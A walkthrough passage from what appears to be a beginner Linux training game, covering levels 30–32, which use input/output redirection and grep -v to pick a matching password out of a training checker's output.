level29@63b135bb9857:~$
```

Level 30

Password:MNdytAUKxy

Description

We can also combine different IO stream redirection commands. For example to provide `data.txt` as input to the `grep` command, and save the output in `output.txt`

```
grep regexp < data.txt > output.txt
```

Task

Again we have the password checker, this time its a lot more verbose showing an error message on STDERR for each password that doesn't match.

Use IO redirection to filter the output

Command: `./checker < pwlist.txt > pass`

This command runs the executable 'checker', taking the contents of 'pwlist.txt' as input and redirecting the output to the file 'pass', likely saving the results of the 'checker' program's processing.

```
level30@63b135bb9857:~$ man level30
level30@63b135bb9857:~$ ls -l
total 44
-rwxr-xr-x 1 level30 level30 16904 Apr 23 2019 checker
-rwxr-xr-x 1 level30 level30 22000 Apr 23 2019 pwlist.txt
level30@63b135bb9857:~$ ./checker < pwlist.txt > pass
```

```
level30@63b135bb9857:~$ cat pass
Password Check:
Enter data -1 to exit>
trbdjHPosy
level30@63b135bb9857:~$
```

Level 31

Password:trbdjHPosy

Task

Yet Again we have the password checker. This time it prints everything on stdout, but changes the output depending on whether the password is correct.

Hint

You can see the output for the commands, perhaps searching for where it `doesn't match` would be a good idea.

```
level31@63b135bb9857:~$ man level31
level31@63b135bb9857:~$ ./checker < pwlist.txt
Password Check:
Enter data -1 to exit>
No Match: MwjTfJyoWD
No Match: GCxnFwLlFI
No Match: VjygGFgNRv
No Match: KEMVWU
```

Command: ./checker < pwlist.txt | grep -v "No Match"

This command executes the `checker` program with `pwlist.txt` as input, then pipes its output to `grep` to exclude lines containing "No Match," showing only the lines that do not include that text.

```
level31@63b135bb9857:~$ ./checker < pwlist.txt | grep -v "No Match"
Password Check:
Enter data -1 to exit>
Match: ANuhGUVcyG
```

Level 32

Password:ANuhGUVcyG

```
level32@63b135bb9857:~$ man level32
No manual entry for level32
level32@63b135bb9857:~$ ls
name nixtrainer --rm cueh/nixtrainer
readme.txt to resolve host Brinda: Temporary failure in name resolution
level32@63b135bb9857:~$ cat readme.txt
```

A large, pixelated white text 'The End' is displayed on a black background. The letters are composed of a grid of small squares. In the background, there are faint, partially visible lines of text from the terminal session above, including 'man level32', 'ls', and 'cat readme.txt'.